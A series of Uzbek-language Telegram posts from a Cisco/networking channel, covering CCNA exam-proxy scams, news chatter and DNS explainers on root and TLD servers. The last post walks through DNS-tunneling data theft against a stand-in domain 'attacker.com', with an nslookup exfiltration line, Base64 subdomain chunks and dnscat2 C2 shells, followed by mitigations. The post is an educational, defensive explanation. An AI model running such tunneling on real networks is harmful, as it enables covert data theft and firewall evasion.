Ko'pchilikni xabari bor, bizning nazoratimiz ostida @exam_ccna deb nomlangan, xalqaro CCNA sertifikatiga ega bo'lmoqchilar uchun ko'p foydali bo'lgan guruhimiz bor. U yerda onda sonda narsa tashlab turiladi lekin 300ta obunachidan hech kamaymaydi.

Bu tayyor "auditoriya"dan juda ko'pchilik foyda qilishga intilishadi va o'zlarning proxy serviselarini taklif qilishadi. Nima emish ular siz uchun exam topshirib berishadi , siz qo'g'irchoqdek o'tirib bersangiz bo'ldi o'tish ehtimolligingiz 95%.

Har safar guruhga o'zlarini reklama qilishadi biz o'chirib tashlar edik. Bu safar o'chirib tashlasam "lichkam"ga yozibdi😁. Ex bu brat bilmaydi-ki bu sohada v5, v6, v7 ni ko'rdik, 8-9 yil shu soha bilan yashagan odamga aql o'rgatishayapti.

95% O'TISH EHTIMOLLIKLARI BILAN MAQTANISHAYAPTI, HA O'ZIMIZDA 100% LIK NATIJA TURGANDA ULAR MUROJAAT QILMAYMIZKU...

Xullas o'z bilimingizga ishonin bunday proxy servicelarga aldanib qolmang.

@cisco_server
@uzbekona_cisco

Trumpning aytishicha Eron va Isroil o't ochishni to'xtatish bo'yicha kelishib olgan emish.

To'g'risi Trumpga ishonmayman.
Shu boisdan kimdir qayerdadir boshqa ishonchliroq ma'lumot ko'rdimi bu to'g'risida?

@cisco_server

Ushbu rasmdan kelib chiqib ham xalqaro ccna examda savollar tushadi aniq.

@cisco_server

Bu rasmda nima tasvirlanganligini tushiuntirib bera olasizmi?

@cisco_server

Yangi yilingiz muborak bo'lsin aziz dindoshim.

Yangi yilning ilk kunini yaxshi yangiliklar bilan boshlaylik-a !?

Bugungi birinchi yangilik "Kalmar o'yini"ning so'ngi qismlari ertaga ya'ni 27-iyunda chiqar ekan.

Bu xozircha birinchisi.

Bizni kuzatishni davom eting, yaxshi yangiliklar hali oldinda

@cisco_server
@uzbekona_cisco

Yodingizda bo'lsa " Sohaning yuragi bo'lgan" 3-ta darsni sizlar bilan baham ko'raman deb aytgan edim.

Mana o'sha vada qilingan videolarning eng birinchisi: https://t.me/cisco_server/3519

Davomini ham kutayotganlar bormi?

O'zbekona Cisco biz sizning ehtiyojingizni qiziqishga aylantiramiz.
@uzbekona_cisco
@cisco_server

Vada qilingan 2-videoni kutib oling.

Manfaatli bo'ladi degan umiddamiz.

Manfaatli bo'layotgan bo'lsa, Feedback/reaksiya kutib qolamiz.

Biz sizga doim eng yaxshilarini ilinamiz.
@uzbekona_cisco
@cisco_server

Vada qilingan so'ngi video.

Yuqorida berilgan videolarni ko'rdingizmi?
Fikr mulohazalaringiz biz uchun qiziq, ularnmi bizdan ayamang.

O'zbekona Cisco - Biz sizga doim eng yaxshilarini ilinamiz.
@uzbekona_cisco
@cisco_server

Youtube da juda yaxshi bir kanalni ko'rib qoldim.
Tarmoq va Tizim administratorligini nazariyasini shunaqa zo'r tushintirishan ekan, ko'rib mazza qildim.
to'g'ri, o'ta chuqur tushintirilmaganu, lekin bemmalol boshlang'ich tushinchani olsa bo'ladigan darajada ekan.

Hullas ming marta eshitdandan bir marta ko'rgan maqqul.

@cisco_server Biz sizga doim eng yaxshilarini ravo ko'ramiz

Telegramda schedule qilishdagi BUG sabab 2-iyuldan 5-iyulga qadar postlarni schedule qilib bo'lmayapti.

Siz ham payqadingizmi?

@cisco_server

📡 DNS qanday ishlaydi? | Misol: uzbekonacisco.uz

Har safar siz brauzerga https://uzbekonacisco.uz deb yozganingizda, bu domen aslida qanday qilib kompyuteringizga IP manzil sifatida yetib keladi?

Keling, bosqichma-bosqich DNS jarayonini ko‘rib chiqamiz:

1️⃣. So‘rov yuboriladi (Query Initiation)
Foydalanuvchi uzbekonacisco.uz saytiga kirishni xohlaydi. Kompyuter bu domen uchun IP manzilni bilmasligi mumkin, shuning uchun DNS so‘rovi boshlanadi.

2️⃣. Lokal xotira (kesh) tekshiriladi
Kompyuter birinchi bo‘lib o‘zining keshida ushbu domen manzili saqlanganmi yoki yo‘qligini tekshiradi. Agar bor bo‘lsa — to‘g‘ridan IP manzilni olib, brauzerga yuboradi.

3️⃣. DNS serverga so‘rov (Recursive Query)
Agar keshda topilmasa, kompyuter o‘ziga o‘rnatilgan DNS serverga (ISPniki yoki Google 8.8.8.8) so‘rov yuboradi.

4️⃣. Root serverlar ishga tushadi
DNS server birinchi bo‘lib Root serverga murojaat qiladi. Root server .uz domeni uchun mas’ul bo‘lgan TLD (Top-Level Domain) server manzilini qaytaradi.

5️⃣. TLD server javob beradi
.uz TLD serveri esa DNS serverga uzbekonacisco.uz domeni qayerda ro‘yxatdan o‘tganini va u bilan bog‘liq vakolatli DNS server manzilini beradi.

6️⃣. Vakolatli DNS serverdan IP olinadi
DNS server endi uzbekonacisco.uz domeniga xizmat qilayotgan asl DNS serverga murojaat qiladi va IP manzilni so‘raydi.

7️⃣. DNS javobni oladi
Vakolatli DNS server uzbekonacisco.uz sayti uchun kerakli IP manzilni (masalan, 195.158.8.21) qaytaradi.

8️⃣. Javob brauzerga yetib keladi
DNS server bu IP manzilni sizning kompyuteringizga yuboradi va brauzeringiz saytga ulanadi.

✅ Natija: Siz uzbekonacisco.uz saytga kirgandek bo‘lasiz, lekin aslida bu orqada 8 ta bosqichda IP topilgan bo‘ladi.

📎 Foydali ma’lumot:
Agar siz bu jarayonni nslookup uzbekonacisco.uz yoki dig uzbekonacisco.uz buyruqlari bilan tekshirsangiz, haqiqiy IP manzil va serverlar haqida ma’lumot olishingiz mumkin.

📣 DNS — internetning yashirin yuragi. Uni tushungan kishi — tarmoqda nima bo‘layotganini to‘liq anglaydi!

O'zbekona Cisco biz sizning ehtiyojingizni qiziqishga aylantiramiz

🌐 1. Root Serverlar (Root Name Servers)
📌 Nima bu?
Root serverlar — DNS tizimining eng yuqori darajadagi serverlari bo‘lib, ular domen nomi (example.com) qayerga yo‘naltirilishi kerakligini boshlang‘ich nuqtadan aniqlashga yordam beradi.

🧠 Ular nima qiladi?
Foydalanuvchining DNS so‘rovini oladi (masalan: academy.hackthebox.com).

Ushbu domen nomi qaysi TLD server (masalan: .com, .org) ga tegishli ekanini aniqlab beradi.

O‘zida IP-manzil saqlamaydi, faqat keyingi bosqich (TLD server) manzilini ko‘rsatadi.

🌍 Nechta bor?
13 ta Root Server tizimi mavjud (A'dan M'gacha nomlangan).

Har biri ko‘p sonli serverlar va IP manzillarga ega (CDN orqali tarqatilgan).

Ularni boshqaruvchi tashkilotlar: ICANN, Verisign, RIPE, NASA, va boshqalar.

Misollar:
A.root-servers.net (ICANN)

B.root-servers.net (USC-ISI)

C.root-servers.net (Cogent)

O'zbekona Cisco biz sizning ehtiyojingizni qiziqishga aylantiramiz.
@uzbekona_cisco
@cisco_server

🗂 2. TLD Serverlar (Top-Level Domain Servers)
📌 Nima bu?
TLD serverlar — yuqori darajadagi domenlarga (.com, .uz, .net, .org, .edu) xizmat ko‘rsatadigan DNS serverlar.

🧠 Ular nima qiladi?
Root serverdan yo‘naltirilgan so‘rovni oladi.

Keyin ikkinchi darajali domen (masalan, hackthebox qismi) uchun vakolatli DNS server manzilini beradi.

Misol:
Siz academy.hackthebox.com ga kiryapsiz:

Root server .com domen uchun .com TLD server manzilini beradi.

.com TLD server esa hackthebox.com ning DNS server manzilini ko‘rsatadi.

🔐 Ularni kim boshqaradi?
.com, .net — Verisign

.org — Public Interest Registry

.uz — UZINFOCOM (O‘zbekistondagi .uz domeni uchun)

Har bir TLD’ni alohida tashkilot boshqaradi.

O'zbekona Cisco biz sizning ehtiyojingizni qiziqishga aylantiramiz.
@uzbekona_cisco
@cisco_server

🔐 Hujum senariysi: DNS tunneling orqali ma’lumot o‘g‘irlash
🧩 1-bosqich: Tashqi DNS server tayyorlash
Hujumchi o‘zining boshqaruvidagi domenni sotib oladi:

📌 Masalan: attacker.com

So‘ngra, ns1.attacker.com nomli custom DNS server yaratadi (Iodine, dnscat2, OzymanDNS, yoki custom Python skript orqali).

🧠 2-bosqich: Ichki tarmoqdagi qurilmaga zararli dastur joylash
Hujumchi phishing orqali yoki ekspluatatsiya orqali ichki qurilmaga quyidagi vazifani bajaradigan payload joylaydi:

Ma’lumotlarni bo‘laklab (chunk) DNS query’lar ichiga joylaydi.

Masalan: bWFsd2FyZGV4Zmls==.exfil.attacker.com

Bu Base64 bo‘lib, DNS so‘rov subdomain orqali tashqariga yuboriladi.

🌐 3-bosqich: DNS so‘rovlari orqali ma’lumotni yuborish
Zararli dastur nslookup, dig, yoki maxsus kutubxonalar yordamida DNS so‘rov yuboradi:

bash
Copy
Edit
nslookup bWFsZGF0YQ.attacker.com
Ichki DNS forwarder bu so‘rovni internetga uzatadi va u hujumchining DNS serveriga keladi.

✅ Natija: Hujumchi subdomain nomi orqali ma’lumotni DNS orqali oladi, firewalllar esa buni oddiy DNS trafigi deb o‘ylaydi.

💻 4-bosqich: Ma’lumot yig‘ish yoki shell olish
DNS tunneling faqat exfiltration uchun emas, balki teskari aloqa (C2 — Command & Control) uchun ham ishlatiladi. Masalan:

DNS orqali buyruq yuboriladi: cmd.bWQ=.attacker.com

Ichki qurilma uni qabul qilib bajaradi.

Natijani yana subdomain orqali qaytaradi.

🔍 Misol: dnscat2 vositasi
Server: Hujumchining tashqi attacker.com domenida dnscat2-server

Client: Ichki tizimda dnscat2-client

Kanal orqali shell ochiladi: hujumchi ichki tizimga DNS orqali buyruqlar yuboradi va natijani oladi.

🛡 Qarshi choralar (MITIGATIONS)
Choralar Tavsifi
🔒 DNS filtering DNS so‘rov uzunligi, shubhali subdomainlar bo‘yicha filtrlash
📊 SIEM orqali monitoring Uzun, kodlangan yoki tez-tez so‘raladigan DNS nomlarni aniqlash
🚫 DNS tunneling detection tools Zeek (Bro), Splunk, Suricata, Wazuh orqali anomaliyalarni topish
🔐 DNS-over-HTTPS bloklash DNS so‘rovlari VPN yoki HTTPS ichida ketayotganini aniqlash

🧠 Xulosa:
DNS tunneling — ko‘p hollarda firewall va DLP tizimlarini aylanib o‘tish uchun ishlatiladi. Odatda u:

Data exfiltration (ma’lumot o‘g‘irlash)

Command & Control

Bypass detection

uchun xizmat qiladi.

O'zbekona Cisco biz sizning ehtiyojingizni qiziqishga aylantiramiz.
@uzbekona_cisco
@cisco_server